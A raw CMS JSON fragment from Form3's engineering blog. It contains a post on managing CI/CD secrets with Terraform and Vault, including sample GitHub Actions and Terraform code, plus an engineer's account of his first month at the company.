transparency",[],{"type":25,"text":36247,"spans":36248},"accuRx are proud to have publicly visible salary bands. It's great to be transparent, allowing engineers to see if they are being paid in line with their peers.",[36249],{"start":1066,"end":3963,"type":489,"data":36250},{"link_type":491,"url":36251},"https:\u002F\u002Fwww.notion.so\u002FEngineering-Progression-Framework-4be98956e24f42ce80416f9b89e44d3d",{"type":25,"text":36253,"spans":36254},"The career framework describes the skills and capabilities that your company values for each level of the engineering organisation. The engineering manager meets with the engineer and together review their performance against the career framework ideally 3-4 times a year. The engineering manager helps the engineer come up with a plan on addressing their areas of improvement, as well as finding opportunities to showcase their skills.",[],{"type":25,"text":36256,"spans":36257},"Progression frameworks should be taken in the spirit in which they're written, as opposed to becoming box ticking exercises. They should not be hard lines, what's important is that the engineer is in an upward career trajectory.",[],"rich_text$a76705f0-b184-4773-bd74-e2b74b9997c7",{"id":36260,"uid":36261,"type":25949,"data":36262},"alz0vxEAACcAUWZu","secrets-build-pipelines",{"title":36263,"excerpt":36264,"card_image":36265,"published_date":36270,"reading_time":2375,"tag":25960,"dek":36264,"featured_image":36271,"about_form3":36278,"client_about_heading":5,"client_about_body":36279,"author_name":26951,"author_title":26952,"author_photo":36280,"author_bio":36283,"author_linkedin":36288,"slices":36290,"meta_title":36263,"meta_description":36264},"Secrets management in build and deployment pipelines","In his previous post about bootstrapping engineering organisations, Andy Kuszyk identified secrets management as one of the key challenges that need to be tackled early on in growing organisations. In this post, he dives deeper into this topic and discusses two secrets management patterns: injecting secrets with Terraform and issuing them with a central secrets manager.",{"dimensions":36266,"alt":36263,"copyright":5,"url":36267,"id":36268,"edit":36269},{"width":412,"height":412},"\u002F_prismic-media\u002F14824fa16d53fa00-rHlkIsi_eWPq8x9x_secrets-build-pipelines.png","rHlkIsi_eWPq8x9x",{"x":398,"y":398,"zoom":399,"background":400},"2023-05-04",{"dimensions":36272,"alt":5,"copyright":5,"url":36275,"id":36276,"edit":36277},{"width":36273,"height":36274},814,548,"\u002F_prismic-media\u002F8925ff353b8b8dd7-3YUTqNHKynr5ubBP_8ea81d8f-5f79-4d44-97fa-a0838df.png","3YUTqNHKynr5ubBP",{"x":398,"y":398,"zoom":399,"background":400},[],[],{"dimensions":36281,"alt":26951,"copyright":5,"url":26956,"id":26957,"edit":36282},{"width":5080,"height":26955},{"x":398,"y":398,"zoom":399,"background":650},[36284],{"type":25,"text":26961,"spans":36285},[36286],{"start":19275,"end":18958,"type":489,"data":36287},{"link_type":491,"url":26965,"target":493},{"link_type":491,"key":36289,"url":26968,"target":493},"ef9d5df4-1c7c-45d5-81c7-a86cb9a4defd",[36291,36319,36334,36342,36350,36358,36366,36374,36386,36401,36411,36419,36433,36465,36482,36490,36498,36506,36514,36522,36530,36562,36579,36590],{"variation":437,"version":438,"items":36292,"primary":36293,"id":36318,"slice_type":468,"slice_label":5},[],{"body":36294},[36295,36302,36305,36308,36311],{"type":25,"text":36296,"spans":36297},"I recently wrote about what I thought were the key ingredients to success when bootstrapping a new engineering organisation. One of these ingredients is secrets management in build and deployment pipelines. In this post, I'm going to describe why I think this is so important, and provide some practical examples of how to get it right (and how to get it wrong!).",[36298],{"start":506,"end":2477,"type":489,"data":36299},{"id":36300,"type":15847,"tags":36301,"lang":5,"slug":15849,"first_publication_date":5,"last_publication_date":5,"link_type":542,"isBroken":15850},"ZCF3lBEAAC0AflWB",[],{"type":25,"text":36303,"spans":36304},"Secrets are required to build and deploy software. Normally when you start out, there are some simple, secure ways to inject secrets into your build and deployment pipelines. For example, with Travis you can use the CLI to commit an encrypted file to a repo, or add an encrypted environment variable. In GitHub Actions, you can add a secret to a repo, which you can safely use later in your workflows.",[],{"type":25,"text":36306,"spans":36307},"However, it doesn't take long before you've got lots of secrets in lots of different places. When this happens, the secrets themselves become hard to manage, and hard to maintain. You can't easily revoke or rotate them, or roll out new secrets automatically.",[],{"type":25,"text":36309,"spans":36310},"Ideally, when bootstrapping an engineering organisation, you want to establish a good way of injecting secrets into your entire build and deployment pipeline estate from day one.",[],{"type":25,"text":36312,"spans":36313},"If you're interested in this topic, you might also be interested in our recent podcast about secrets management.",[36314],{"start":3084,"end":3971,"type":489,"data":36315},{"id":36316,"type":15847,"tags":36317,"lang":5,"slug":15849,"first_publication_date":5,"last_publication_date":5,"link_type":542,"isBroken":15850},"ZDWFRBIAACoALkGf",[],"rich_text$9c46e2ae-2bd4-4662-91f3-50b1f3544977",{"variation":437,"version":438,"items":36320,"primary":36321,"id":36333,"slice_type":468,"slice_label":5},[],{"body":36322},[36323,36326,36329],{"type":746,"text":36324,"spans":36325},"First, an example",[],{"type":25,"text":36327,"spans":36328},"What exactly am I talking about when I say \"secrets management in build and deployment pipelines\"? Let's start with a simple example to set the scene.",[],{"type":25,"text":36330,"spans":36331},"Say you have a project called Hello World, which has a simple Dockerfile:",[36332],{"start":3041,"end":1977,"type":765},"rich_text$ebcb615b-4825-4781-8762-b96219b7dace",{"variation":437,"version":438,"items":36335,"primary":36336,"id":36341,"slice_type":27926,"slice_label":5},[],{"language_label":31384,"code":36337},[36338],{"type":27922,"text":36339,"spans":36340},"FROM alpine\nCMD echo 'hello world'",[],"code_block$6f0cca15-2c52-471e-aaac-417f936b49b5",{"variation":437,"version":438,"items":36343,"primary":36344,"id":36349,"slice_type":468,"slice_label":5},[],{"body":36345},[36346],{"type":25,"text":36347,"spans":36348},"In your build and deployment pipeline, you want to build this Dockerfile, and publish it to a public Docker registry (for example Docker Hub). Let's assume you're using GitHub Actions for this. Your pipeline might look something like this:",[],"rich_text$2df1aa8d-3f56-474d-b19c-3008e4c141b3",{"variation":437,"version":438,"items":36351,"primary":36352,"id":36357,"slice_type":27926,"slice_label":5},[],{"language_label":31384,"code":36353},[36354],{"type":27922,"text":36355,"spans":36356},"on: [push]\njobs:\n  docker-publish:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\u002Fcheckout@v3\n      - run: docker build -t andykuszyk\u002Fhello-world:latest .\n      - run: docker push andykuszyk\u002Fhello-world:latest",[],"code_block$bca32e6e-e963-4f72-a2fd-a513b9bf0de9",{"variation":437,"version":438,"items":36359,"primary":36360,"id":36365,"slice_type":468,"slice_label":5},[],{"body":36361},[36362],{"type":25,"text":36363,"spans":36364},"Great; nice and simple. However, before you publish to the Docker registry, you're going to need to authenticate with it, which means you're going to need some credentials. You need something like this before the docker build step:",[],"rich_text$aa0fc86e-f803-4e94-b4f7-2b9d6a7746db",{"variation":437,"version":438,"items":36367,"primary":36368,"id":36373,"slice_type":27926,"slice_label":5},[],{"language_label":31384,"code":36369},[36370],{"type":27922,"text":36371,"spans":36372},"- run: docker login -u \"andykuszyk\" -p \"n0tmyr3alpa22w0rd\"",[],"code_block$01684a8f-3233-42a3-ae35-db6db116f7c8",{"variation":437,"version":438,"items":36375,"primary":36376,"id":36385,"slice_type":468,"slice_label":5},[],{"body":36377},[36378],{"type":25,"text":36379,"spans":36380},"So, how are you going to do that without committing your credentials to source control? Well, there's normally a variety of ways you can do this with the CI system of your choice. In the case of GitHub Actions, you can store encrypted secrets alongside the repo itself via the repo settings:",[36381],{"start":3715,"end":36382,"type":489,"data":36383},242,{"link_type":491,"url":36384,"target":493},"https:\u002F\u002Fdocs.github.com\u002Fen\u002Factions\u002Fsecurity-guides\u002Fencrypted-secrets","rich_text$3ad12715-5175-4a6a-91e3-fbf3d0a09d8e",{"variation":437,"version":527,"items":36387,"primary":36388,"id":36400,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":36389,"body":36390,"cta_label":5,"cta_link":36391,"aside_type":533,"aside_image":36392,"aside_video":36395,"aside_video_poster":36396,"aside_video_reduced_motion":36397,"aside_video_url":5,"aside_embed":36398,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":36399,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":36393,"alt":5,"copyright":5,"url":36275,"id":36276,"edit":36394},{"width":36273,"height":36274},{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$b80e551f-e819-40b1-9340-203dbff86c09",{"variation":437,"version":438,"items":36402,"primary":36403,"id":36410,"slice_type":468,"slice_label":5},[],{"body":36404},[36405],{"type":25,"text":36406,"spans":36407},"If you add docker_username and docker_password secrets to your repo, then you can easily use them in your CI pipeline:",[36408,36409],{"start":602,"end":5574,"type":765},{"start":690,"end":9202,"type":765},"rich_text$d0c1a412-676b-4da8-8250-66d69a1405a4",{"variation":437,"version":438,"items":36412,"primary":36413,"id":36418,"slice_type":27926,"slice_label":5},[],{"language_label":31384,"code":36414},[36415],{"type":27922,"text":36416,"spans":36417},"on: [push]\njobs:\n  docker-publish:\n    runs-on: ubuntu-latest\n    env:\n      DOCKER_USERNAME: ${{ secrets.docker_username }}\n      DOCKER_PASSWORD: ${{ secrets.docker_password }}\n    steps:\n      - uses: actions\u002Fcheckout@v3\n      - run: docker login -u \"$DOCKER_USERNAME\" -p \"$DOCKER_PASSWORD\"\n      - run: docker build -t andykuszyk\u002Fhello-world:latest .\n      - run: docker push andykuszyk\u002Fhello-world:latest",[],"code_block$0a6438ec-9168-411a-bc7f-c8df2447a10d",{"variation":437,"version":438,"items":36420,"primary":36421,"id":36432,"slice_type":468,"slice_label":5},[],{"body":36422},[36423,36426,36429],{"type":25,"text":36424,"spans":36425},"This has solved the problem for a single repo. When you're starting a new engineering organisation, you might start off with one (or a small number) of repos, which makes this approach effective. However, when the number of repos in your estate begins to grow, this approach becomes problematic. It's easy to lose track of what secrets are in use in which repos, and you're relying on people manually adding secrets in order to inject them into your pipelines. This means you need to grant everyone in your organisation access to your secrets, or rely on a small number of people to manage the secret injection.",[],{"type":25,"text":36427,"spans":36428},"Most problematic of all is that, one day, you'll need to revoke or rotate the secrets. If you've been manually adding them here, there, and everywhere, then this becomes a real problem. You have to go through every repo, and rotate them one by one.",[],{"type":25,"text":36430,"spans":36431},"What you really need is a nice, convenient way to manage the secrets centrally in a way that lets you deploy a single set of secrets to your estate of repos. That way you can see what is being used where, and rotate secret values easily.",[],"rich_text$570af281-0279-4aa7-882a-af065211888d",{"variation":437,"version":438,"items":36434,"primary":36435,"id":36464,"slice_type":468,"slice_label":5},[],{"body":36436},[36437,36440,36443,36446,36449,36452,36455,36458,36461],{"type":746,"text":36438,"spans":36439},"Two patterns for pragmatic secret management",[],{"type":25,"text":36441,"spans":36442},"In order to make managing secrets in CI easier in the long-run when building an engineering organisation, I think you need to achieve two things:",[],{"type":1151,"text":36444,"spans":36445},"Manage secrets centrally.",[],{"type":1151,"text":36447,"spans":36448},"Be able to rotate them easily.",[],{"type":25,"text":36450,"spans":36451},"Below are two patterns for secret management that will help you do this.",[],{"type":988,"text":36453,"spans":36454},"Inject secrets using Terraform",[],{"type":25,"text":36456,"spans":36457},"Rather than creating and updating secrets manually, you can manage them centrally by managing your estate of repos using Terraform. This is a good practice anyway, because it means that you can administer your repos en-masse in Terraform, and can restrict admin permissions to the user that Terraform uses, rather than granting it to your ordinary users.",[],{"type":25,"text":36459,"spans":36460},"In my description below, I will be focusing on GitHub and GitHub Actions secrets, although this pattern can just as easily be applied to other CI providers that expose some sort of secret storage functionality via an API.",[],{"type":25,"text":36462,"spans":36463},"The general idea with this pattern is that you manage your GitHub repos centrally in Terraform, and use Terraform to create secrets in each of your repos. CI pipelines in each repo can then access the secrets provisioned via Terraform:",[],"rich_text$9e5ddccb-ccd1-41b2-b571-4f2c01cedc2a",{"variation":437,"version":527,"items":36466,"primary":36467,"id":36481,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":36468,"body":36469,"cta_label":5,"cta_link":36470,"aside_type":533,"aside_image":36471,"aside_video":36476,"aside_video_poster":36477,"aside_video_reduced_motion":36478,"aside_video_url":5,"aside_embed":36479,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":36480,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":36472,"alt":5,"copyright":5,"url":36473,"id":36474,"edit":36475},{"width":28293,"height":28670},"\u002F_prismic-media\u002F36101b39acb4742f-6G2djj_rtx_3zB2d_d7751132-c9d3-41e4-831a-ff3014f.png","6G2djj_rtx_3zB2d",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$108af09c-e6e3-46f1-82a5-3f5ed5cd1e1a",{"variation":437,"version":438,"items":36483,"primary":36484,"id":36489,"slice_type":468,"slice_label":5},[],{"body":36485},[36486],{"type":25,"text":36487,"spans":36488},"What this looks like in reality is fairly straightforward. GitHub repos are easy to provision using Terraform:",[],"rich_text$af21f00d-3e1d-4e00-9ad3-14f739c823e0",{"variation":437,"version":438,"items":36491,"primary":36492,"id":36497,"slice_type":27926,"slice_label":5},[],{"language_label":31384,"code":36493},[36494],{"type":27922,"text":36495,"spans":36496},"resource \"github_repository\" \"hello_world_api\" {\n  name                 = \"hello-world-api\"\n  description          = \"\"\n  has_downloads        = true\n  has_issues           = true\n  has_wiki             = true\n  has_projects         = true\n  homepage_url         = \"\"\n  vulnerability_alerts = true\n  visibility           = \"public\"\n  lifecycle {\n    ignore_changes = [etag]\n  }\n}",[],"code_block$565555d1-7023-4376-97a6-6c26c899e415",{"variation":437,"version":438,"items":36499,"primary":36500,"id":36505,"slice_type":468,"slice_label":5},[],{"body":36501},[36502],{"type":25,"text":36503,"spans":36504},"Similarly, secrets can also easily be provisioned:",[],"rich_text$28985161-77f9-4ffd-abbd-5e79fe43a934",{"variation":437,"version":438,"items":36507,"primary":36508,"id":36513,"slice_type":27926,"slice_label":5},[],{"language_label":31384,"code":36509},[36510],{"type":27922,"text":36511,"spans":36512},"resource \"github_actions_secret\" \"hello_world_api_docker_username\" {\n  repository      = \"hello-world-api\"\n  secret_name     = \"DOCKER_USERNAME\"\n  plaintext_value = var.docker_username\n}",[],"code_block$35180418-916a-4ce9-8f48-ead2c1f16c83",{"variation":437,"version":438,"items":36515,"primary":36516,"id":36521,"slice_type":468,"slice_label":5},[],{"body":36517},[36518],{"type":25,"text":36519,"spans":36520},"Then, you just need a variable for injecting the value:",[],"rich_text$baa5ba55-60ae-4ebf-a8da-de558b725a20",{"variation":437,"version":438,"items":36523,"primary":36524,"id":36529,"slice_type":27926,"slice_label":5},[],{"language_label":31384,"code":36525},[36526],{"type":27922,"text":36527,"spans":36528},"variable \"docker_username\" {}",[],"code_block$8a4ac8ca-9f57-4c38-8264-95fe905175d3",{"variation":437,"version":438,"items":36531,"primary":36532,"id":36561,"slice_type":468,"slice_label":5},[],{"body":36533},[36534,36540,36543,36546,36549,36552,36555],{"type":25,"text":36535,"spans":36536},"You obviously need a good way to actually set values for this secret, and systems like Terraform Cloud allow you to set sensitive values for a Terraform project, such that they can be injected using a Terraform variable. For this to work, you need to lock-down access to your Terraform Cloud account (especially to the state files, which will contain the secret values in plain text), however you do end up with a simple way of injecting secrets from a single place into your entire repo estate.",[36537],{"start":2224,"end":4073,"type":489,"data":36538},{"link_type":491,"url":36539,"target":493},"https:\u002F\u002Fwww.hashicorp.com\u002Fproducts\u002Fterraform\u002Fpricing",{"type":25,"text":36541,"spans":36542},"Furthermore, if you need to rotate a secret, the process is simple:",[],{"type":1151,"text":36544,"spans":36545},"Update the value used by the Terraform variable.",[],{"type":1151,"text":36547,"spans":36548},"Run a terraform plan and terraform apply.",[],{"type":1151,"text":36550,"spans":36551},"Profit! All your repos are updated in one go!",[],{"type":988,"text":36553,"spans":36554},"Issue secrets from a secret manager",[],{"type":25,"text":36556,"spans":36557},"An alternative pattern to the approach described above, is to issue secrets to CI pipelines, rather than inject them in. A secret manager (e.g. Hashicorp Vault) can be used as the central location of secrets, and can control issuing them to authorised clients. Provided your CI pipelines have a suitable mechanism of authenticating with the secret manager, they can then reach out on demand to fetch the secrets they need:",[36558],{"start":4106,"end":2675,"type":489,"data":36559},{"link_type":491,"url":36560},"https:\u002F\u002Fwww.vaultproject.io\u002F","rich_text$076db320-c97c-49b4-8e38-757fd9c4c223",{"variation":437,"version":527,"items":36563,"primary":36564,"id":36578,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":36565,"body":36566,"cta_label":5,"cta_link":36567,"aside_type":533,"aside_image":36568,"aside_video":36573,"aside_video_poster":36574,"aside_video_reduced_motion":36575,"aside_video_url":5,"aside_embed":36576,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":36577,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":36569,"alt":5,"copyright":5,"url":36570,"id":36571,"edit":36572},{"width":8034,"height":28670},"\u002F_prismic-media\u002F193a8011143871df-AFVo9gc8-tx6wyTs_40f5289a-503a-4792-b246-cc8904c.png","AFVo9gc8-tx6wyTs",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$d98d60a4-de2e-411d-ac8c-33ef3b29f3e2",{"variation":437,"version":438,"items":36580,"primary":36581,"id":36589,"slice_type":468,"slice_label":5},[],{"body":36582},[36583,36586],{"type":25,"text":36584,"spans":36585},"This approach has the advantage of avoiding the need to restrict access to the same Terraform workspace that manages your GitHub repos (although you still need to inject your secrets into the secret manager somehow), but does require additional infrastructure to run and manage the secret manager in the first place.",[],{"type":25,"text":36587,"spans":36588},"More importantly, it means that the secrets issued by your secret manager could be dynamically provisioned, and issued with short time-to-live. Rather than having static credentials that are valid for a long period (which could cause a lot of damage if they were stolen), your CI pipelines can use ephemeral secrets with such short lifespans that they wouldn't be very useful to an attacker.",[],"rich_text$e4b6b4b2-b567-491a-938d-d2644b46e75c",{"variation":437,"version":438,"items":36591,"primary":36592,"id":36617,"slice_type":468,"slice_label":5},[],{"body":36593},[36594,36596,36599,36602,36605,36608,36611,36614],{"type":746,"text":29076,"spans":36595},[],{"type":25,"text":36597,"spans":36598},"Managing secrets in your build and deployment pipelines is something that I think you need to get right early on when building an engineering organisation, otherwise it can become a logistical and security problem later.",[],{"type":25,"text":36600,"spans":36601},"In this post I've described two patterns for managing your pipeline secrets at scale:",[],{"type":1151,"text":36603,"spans":36604},"Injecting them using infrastructure as code.",[],{"type":1151,"text":36606,"spans":36607},"Issuing them using a central secrets manager.",[],{"type":25,"text":36609,"spans":36610},"In my opinion, the first pattern is easier to get up and running, and scales very well. However, it does require careful configuration to ensure the secrets are securely stored at the point of injection (e.g. in Terraform Cloud). It also has the disadvantage that all the secrets are static values with long expiry lifetimes.",[],{"type":25,"text":36612,"spans":36613},"The second approach separates the concepts of repo management and secret management, by introducing a dedicated secrets manager. Whilst this approach has advantages--notably by allowing the use of ephemeral secrets--it comes with the additional overhead of having to run and manage a separate secret manager (e.g. Vault).",[],{"type":25,"text":36615,"spans":36616},"However, I think both approaches are preferable to manually managing secrets on a repo-by-repo basis. It's all too easy to fall into that trap when you start out, which is why I think getting this right from day one is so important.",[],"rich_text$eb1533eb-eea4-4528-b8fa-386f42730fd6",{"id":36619,"uid":36620,"type":25949,"data":36621},"alz03REAACgAUWaz","first-month-swe",{"title":36622,"excerpt":36623,"card_image":36624,"published_date":3606,"reading_time":643,"tag":25960,"dek":36623,"featured_image":36629,"about_form3":36634,"client_about_heading":5,"client_about_body":36635,"author_name":36636,"author_title":36637,"author_photo":36638,"author_bio":36643,"author_linkedin":36650,"slices":36653,"meta_title":36622,"meta_description":36623},"My first month as a Senior Engineer at Form3","It's always daunting moving jobs. In this post, Chris Townsend shares insights into his first month as a Senior Software Engineer at Form3. He talks us through his reasons for joining, the interview process and his onboarding experience, as well as what his future career aspirations are.",{"dimensions":36625,"alt":36622,"copyright":5,"url":36626,"id":36627,"edit":36628},{"width":412,"height":412},"\u002F_prismic-media\u002Fd279260d26e5471b-kwmTtECpVpzIQoSK_first-month-swe.png","kwmTtECpVpzIQoSK",{"x":398,"y":398,"zoom":399,"background":400},{"dimensions":36630,"alt":5,"copyright":5,"url":36631,"id":36632,"edit":36633},{"width":501,"height":646},"\u002F_prismic-media\u002F1c47b4ecc790b3eb-UVMcfT6fqWoIM4g-_f12fb4ac-fec7-4cc2-92d6-c238f66.jpg","UVMcfT6fqWoIM4g-",{"x":398,"y":398,"zoom":399,"background":650},[],[],"Chris Townsend","Senior Software Engineer",{"dimensions":36639,"alt":36636,"copyright":5,"url":36640,"id":36641,"edit":36642},{"width":5080,"height":5081},"\u002F_prismic-media\u002F048f636a49b5fce4-BNiJs8qsJI9v7oWx_128ce999-24a4-47a9-8d8b-03a5453.jpeg","BNiJs8qsJI9v7oWx",{"x":398,"y":398,"zoom":399,"background":650},[36644],{"type":25,"text":36645,"spans":36646},"Chris Townsend is a Senior Software Engineer at Form3, based in Malvern, Worcestershire. He's been a software engineer for over 9 years including PHP and JavaScript. He's been a Gopher for 3 years and counting. You can view his blog here.",[36647],{"start":19275,"end":13077,"type":489,"data":36648},{"link_type":491,"url":36649,"target":493},"https:\u002F\u002Fmedium.com\u002F@townsyio",{"link_type":491,"key":36651,"url":36652,"target":493},"07653478-cd7d-41aa-b733-518c1afdce41","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Ftownsy\u002F",[36654,36707,36799,36822],{"variation":437,"version":438,"items":36655,"primary":36656,"id":36706,"slice_type":468,"slice_label":5},[],{"body":36657},[36658,36661,36664,36673,36676,36682,36688,36691,36694,36697,36700,36703],{"type":746,"text":36659,"spans":36660},"How I got to Form3",[],{"type":25,"text":36662,"spans":36663},"It all started when a recruiter from Form3 contacted me on LinkedIn about 12 months before I started. I wasn't looking for a new role at the time. I was working in Lisbon and enjoying the project I was working on. They wished me luck with my project and told me to reach out if my situation changed.",[],{"type":25,"text":36665,"spans":36666},"Six months on since that first conversation, I've seen Form3 blogs and sponsorship at GopherCon and had become a fan of the Form3 Tech podcast. I'd developed a hunger to find out more. The tech culture was something that was very important to me, and seeing Form3 making ground in the payments world peaked my interest. ️So I reached out to Form3 to find out more.",[36667,36670],{"start":5397,"end":3885,"type":489,"data":36668},{"link_type":491,"url":36669,"target":493},"https:\u002F\u002Fwww.gophercon.com\u002F",{"start":4586,"end":13494,"type":489,"data":36671},{"link_type":491,"url":36672},"https:\u002F\u002Ftechpodcast.form3.tech\u002F",{"type":25,"text":36674,"spans":36675},"It all started with a informal chat with a Form3 recruiter over Zoom, which was super easy to schedule as they use a calendar booking service. The recruiter was also very open with salary banding from the very start, this no nonsense transparency was really attractive to me.",[],{"type":25,"text":36677,"spans":36678},"During the informal chat, I heard about Form3, what they did, the tech stack, and pointed me to the engineering website. I was asked questions about my background, they complimented any experience that would match up well working at Form3, but also reassured me of the tech I was less skilled with. It all went well, so I was then sent the Form3 tech test.",[36679],{"start":12805,"end":4178,"type":489,"data":36680},{"link_type":491,"url":36681},"https:\u002F\u002Fwww.form3.tech\u002Fengineering",{"type":25,"text":36683,"spans":36684},"The next step was the tech test task. You can check out the task I was assigned here. Even if you are not familiar with using Go; the team reviewing your test will take this into account.",[36685],{"start":3872,"end":5321,"type":489,"data":36686},{"link_type":491,"url":36687,"target":493},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Finterview-accountapi",{"type":25,"text":36689,"spans":36690},"The interview I was part of had 3 parts:",[],{"type":1151,"text":36692,"spans":36693},"Informal chat about the tech test",[],{"type":1151,"text":36695,"spans":36696},"Networking questions",[],{"type":1151,"text":36698,"spans":36699},"On-call scenario",[],{"type":25,"text":36701,"spans":36702},"Everyone I met during the interview was friendly, it never felt like a question and then answer situation, it was more of a flowing conversation.",[],{"type":25,"text":36704,"spans":36705},"The interview was great because I got to learn lots about Form3, how they work, and get to know some people I would work with. It gave me insight into to the engineering culture and the interesting problems engineers face here. When I received my offer to join, it was precisely the offer that was communicated to me at the start of the process, and with everything I had learnt about Form3, I was very happy to accept.",[],"rich_text$9422bbd7-3e32-46b6-80aa-04f20c6976a9",{"variation":437,"version":438,"items":36708,"primary":36709,"id":36798,"slice_type":468,"slice_label":5},[],{"body":36710},[36711,36714,36720,36723,36726,36729,36735,36738,36741,36744,36747,36750,36753,36756,36759,36762,36765,36768,36771,36774,36777,36780,36783,36786,36789,36792,36795],{"type":746,"text":36712,"spans":36713},"Life at Form3",[],{"type":25,"text":36715,"spans":36716},"There is a lot to cover in my first few weeks, but I'll try to cover as much as I can here. If you do have any questions, then please feel free to reach out to me at LinkedIn.",[36717],{"start":9156,"end":10918,"type":489,"data":36718},{"link_type":491,"url":36719},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Ftownsy",{"type":25,"text":36721,"spans":36722},"My equipment was actually delivered a couple of weeks before my first day, which gave me plenty of time to use my work from home setup allowance.",[],{"type":25,"text":36724,"spans":36725},"Form3 takes security very seriously, so there are some procedures to follow. Everything was very easy to set up. Although Form3 has a very high security standard, I don't feel restricted in any way.",[],{"type":988,"text":36727,"spans":36728},"First day",[],{"type":25,"text":36730,"spans":36731},"On my first day, I met my Team Lead, who helped me get started with my onboarding and answered all the questions I had. The first real task was getting my Github account set up, so I could access all the onboarding material and documentation managed by the engineers. Form3 practises what they preach about infrastructure as code, so this is all done via Terraform. Once this is all provisioned, you are ready to go 🚀.",[36732],{"start":13609,"end":2608,"type":489,"data":36733},{"link_type":491,"url":36734},"https:\u002F\u002Fwww.terraform.io\u002F",{"type":25,"text":36736,"spans":36737},"Slack is the main instant communication tool, I was added to all my team's channels, I also took the time to check out the social channels. I'm now a proud member of:",[],{"type":1151,"text":36739,"spans":36740},"#whatsforlunch",[],{"type":1151,"text":36742,"spans":36743},"#sportschannel",[],{"type":1151,"text":36745,"spans":36746},"#gaming",[],{"type":25,"text":36748,"spans":36749},"I spent the rest of the day configuring the IDE, terminal, and zsh, as well as reading the first sections of the onboarding guide documentation.",[],{"type":988,"text":36751,"spans":36752},"First few weeks",[],{"type":25,"text":36754,"spans":36755},"In my first few weeks, I had a number of meetings to introduce areas of Form3. These meetings consisted of",[],{"type":1151,"text":36757,"spans":36758},"Introduction to DevSecOps",[],{"type":1151,"text":36760,"spans":36761},"Introduction to my team",[],{"type":1151,"text":36763,"spans":36764},"Introduction to Payments and finance fundamentals",[],{"type":1151,"text":36766,"spans":36767},"Tech events and evangelist team introduction (That's how I got to write this post 😊)",[],{"type":25,"text":36769,"spans":36770},"All of these meetings lasted an hour or less and were informal. The hosts were always open for questions throughout, I learned a lot. I was particularly impressed with the product team and how well they know their markets.",[],{"type":25,"text":36772,"spans":36773},"We like to pair at Form3, so I would pair most days with my onboarding buddy when I wasn't following the onboarding plan. I was shown a huge amount of patience and understanding for my 100+ of questions about engineering at Form3.",[],{"type":25,"text":36775,"spans":36776},"By pairing, I was able to get started very quickly on a ticket. My buddy was doing most of the driving, but I was able to contribute to the feature. At Form3, we have a bunch of tooling to make an engineer's life a bit easier, so pairing is streamlined by these tools.",[],{"type":474,"text":36778,"spans":36779},"Demos",[],{"type":25,"text":36781,"spans":36782},"Every week my team run demo sessions. These are a place where we can talk about the code we have merged, run through our integration test cases to ensure we covered the acceptance criteria on our tickets and perform a live demo of the feature. I've really enjoyed our demos as it gives insight to what other work is being done in the sub-teams, and a chance to really test your feature. Features are very specific and are usually associated with happy\u002Funhappy paths.",[],{"type":474,"text":36784,"spans":36785},"BAs and Product Team",[],{"type":25,"text":36787,"spans":36788},"Engineers work closely with Business Analysts (BAs) to support understanding the features. This gives engineers opportunity to raise concerns, edge cases or other questions that may come up during the implementation. In my career, I don't think I've ever worked with such knowledgeable BAs. As an engineer I like to really understand what I'm working on, but given the complexities of the payment schemes, I'm grateful to have these team members on board.",[],{"type":474,"text":36790,"spans":36791},"Flexible Remote Working",[],{"type":25,"text":36793,"spans":36794},"Flexible remote working at Form3 is actually flexible remote working 😅. I know this is an odd thing to say, but from experience it's not always the case. At Form3, I'm really able to fit my life around work. Most group meetings are recorded, so if I can't make a meeting I can still access it. If it's a team discussion meeting and I'm not able to make a specific time, we can move the meeting or create a working document to discuss it asynchronously.",[],{"type":25,"text":36796,"spans":36797},"Working at Form3, I know that if I need to go to the doctor, take the dog for a walk at a specific time, have a two-hour lunch to go to the gym, or arrange childcare, I can do so. It makes me feel good working here, I'm performing at my best, and I have a work \u002F life balance!",[],"rich_text$0dd7aab2-84f0-4be4-b43f-746c7a472742",{"variation":437,"version":438,"items":36800,"primary":36801,"id":36821,"slice_type":468,"slice_label":5},[],{"body":36802},[36803,36806,36809,36812,36815,36818],{"type":746,"text":36804,"spans":36805},"Highlights",[],{"type":25,"text":36807,"spans":36808},"So far, my Form3 experience has been fantastic, but if I had to pick the highlights, they would have to be (in no particular order). order)",[],{"type":1151,"text":36810,"spans":36811},"Remote Working",[],{"type":1151,"text":36813,"spans":36814},"Working with hugely talented people",[],{"type":1151,"text":36816,"spans":36817},"Learning and development",[],{"type":1151,"text":36819,"spans":36820},"Tooling and documentation",[],"rich_text$abc0bb77-e6b1-4cdd-8f51-bf8052ae8f1f",{"variation":437,"version":438,"items":36823,"primary":36824,"id":36847,"slice_type":468,"slice_label":5},[],{"body":36825},[36826,36829,36832,36835,36838,36841,36844],{"type":746,"text":36827,"spans":36828},"My Future and Aspirations at Form3",[],{"type":25,"text":36830,"spans":36831},"Not only does Form3 have great problems to solve, but it gives me an opportunity to change the world of payments. I'm hoping in the future, me at Form3 will have:",[],{"type":1151,"text":36833,"spans":36834},"Contributed to the launch of a new payments service on our platform",[],{"type":1151,"text":36836,"spans":36837},"Learn, learn and learn from the super intelligent people here. I hope I can teach them a couple of things too! 🤓",[],{"type":1151,"text":36839,"spans":36840},"Give a talk at a conference 🎤",[],{"type":1151,"text":36842,"spans":36843},"Support and grow other new starters and make them feel just as welcome as I 